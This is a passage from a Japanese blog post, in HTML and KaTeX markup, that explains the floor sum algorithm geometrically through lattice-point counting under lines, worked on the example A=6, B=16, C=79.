<strong>&#x7C21;&#x5358;&#x306B;&#x6570;&#x3048;&#x3089;&#x308C;&#x308B;&#x4E2D;&#x3067;&#x6700;&#x5927;&#x306E;&#x4E09;&#x89D2;&#x5F62;</strong>&#x3092;&#x3068;&#x308A;&#x307E;&#x3059;&#x3002;&#x3064;&#x307E;&#x308A;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x56F3;&#x3067;&#x3001;&#x300C;&#x9752;&#x7DDA;&#x306E;&#x50BE;&#x304D;<strong>&#x306E;&#x9006;&#x6570;</strong>&#x304C;&#x6574;&#x6570;&#x306B;&#x306A;&#x308B;&#x7BC4;&#x56F2;&#x3067;&#x3001;&#x9752;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x304C;&#x8D64;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x3092;&#x8D85;&#x3048;&#x306A;&#x3044;&#x6700;&#x5927;&#x300D;&#x3067;&#x3042;&#x308A;&#x3001;&#x300C;&#x9752;&#x7DDA;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>&#x5207;&#x7247;&#x304C;&#x6700;&#x5927;&#x300D;&#x3067;&#x3042;&#x308B;&#x3082;&#x306E;&#x3092;&#x9078;&#x629E;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x9752;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x306E;&#x9006;&#x6570;&#x304C;&#x6574;&#x6570;&#x3067;&#x306A;&#x3051;&#x308C;&#x3070;&#x306A;&#x3089;&#x306A;&#x3044;&#x7406;&#x7531;&#x306F;&#x3001;&#x5F8C;&#x8FF0;&#x3059;&#x308B;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x4E2D;&#x8EAB;&#x3092;&#x7B49;&#x5DEE;&#x6570;&#x5217;&#x306B;&#x3059;&#x308B;&#x305F;&#x3081;&#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-13-174417.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1821" height="830"></figure><!--kg-card-begin: markdown--><p>&#x4E0A;&#x306E;&#x56F3;&#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">16</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">79</span></span></span></span> &#x3067;&#x3059;&#x3002;(&#x3053;&#x308C;&#x4EE5;&#x964D;&#x3082;&#x3053;&#x306E;&#x5177;&#x4F53;&#x4F8B;&#x3067;&#x8AAC;&#x660E;&#x3057;&#x307E;&#x3059;) &#x307E;&#x305F;&#x3001;&#x9752;&#x7DDA;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>&#x5207;&#x7247;&#x306F;&#x6700;&#x5927;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span> &#x306B;&#x56FA;&#x5B9A;&#x3057;&#x3001;&#x9752;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord">&#x2212;</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">5</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">6</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> &#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span> &#x901A;&#x308A;&#x3092;&#x793A;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x8D64;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> &#x306A;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x3092;&#x8D85;&#x3048;&#x306A;&#x3044;&#x6700;&#x5927;&#x306E;&#x50BE;&#x304D;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<details><summary>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;</summary>
<p>&#x4E00;&#x822C;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306B;&#x5BFE;&#x3057;&#x3066;&#x306F;&#x3001;&#x9752;&#x7DDA;&#x306E; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>&#x5207;&#x7247;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x3001;&#x9752;&#x7DDA;&#x306E;&#x50BE;&#x304D;&#x306F;&#x300C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> &#x3092;&#x8D85;&#x3048;&#x306A;&#x3044;&#x6700;&#x5927;&#x306E;&#x5024;&#x3067;&#x3042;&#x3063;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mclose">)</span></span></span></span>&#x306E;&#x5F62;&#x3067;&#x8868;&#x305B;&#x308B;&#x3082;&#x306E;&#x300D;&#x306B;&#x306A;&#x308B;&#x305F;&#x3081;&#x3001;&#x3053;&#x308C;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5064em;vertical-align:-0.6613em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.5795em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.6613em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> &#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
</details>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>&#x6B21;&#x306B;&#x3001;&#x9752;&#x7DDA;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x8EF8;&#x3067;&#x56F2;&#x307E;&#x308C;&#x305F;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x3092;&#x6C42;&#x3081;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-13-211941.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1561" height="837"></figure><!--kg-card-begin: markdown--><p>&#x56F3;&#x306B;&#x66F8;&#x304B;&#x308C;&#x3066;&#x3044;&#x308B;&#x901A;&#x308A;&#x3001;&#x9752;&#x7DDA;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x8EF8;&#x3067;&#x56F2;&#x307E;&#x308C;&#x305F;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">25</span></span></span></span> &#x500B;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x5024;&#x306F;&#x7B54;&#x3048;&#x306B;&#x52A0;&#x7B97;&#x3057;&#x3066;&#x304A;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<details><summary>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;</summary>
<p>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;&#x3001;&#x9752;&#x7DDA;&#x306F;&#x50BE;&#x304D; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5064em;vertical-align:-0.6613em;"></span><span class="mord">&#x2212;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.5795em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.6613em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span></span></span></span> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>&#x5207;&#x7247; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span></span></span></span> &#x306A;&#x306E;&#x3067;&#x3001;&#x9752;&#x7DDA;&#x306E;&#x65B9;&#x7A0B;&#x5F0F;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord">&#x2212;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span></span></span></span> &#x3068;&#x306A;&#x308B;&#x3002;&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x3067;&#x56FA;&#x5B9A;&#x3057;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span></span></span></span> &#x306E;&#x7BC4;&#x56F2;&#x3067;&#x8DB3;&#x3057;&#x5408;&#x308F;&#x305B;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;&#x7DCF;&#x548C;&#x516C;&#x5F0F;&#x3092;&#x7528;&#x3044;&#x3066;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x3092;&#x8A08;&#x7B97;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;</p>
</details>
<p>&#x6B21;&#x306B;&#x3001;&#x9752;&#x7DDA;&#x304C;y&#x8EF8;&#x306B;&#x91CD;&#x306A;&#x308B;&#x3088;&#x3046;&#x306B;&#x5E73;&#x9762;&#x4E0A;&#x306B;&#x3042;&#x308B;&#x3059;&#x3079;&#x3066;&#x306E;&#x56F3;&#x5F62;&#x3092;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x3057;&#x307E;&#x3059;&#x3002;<br>
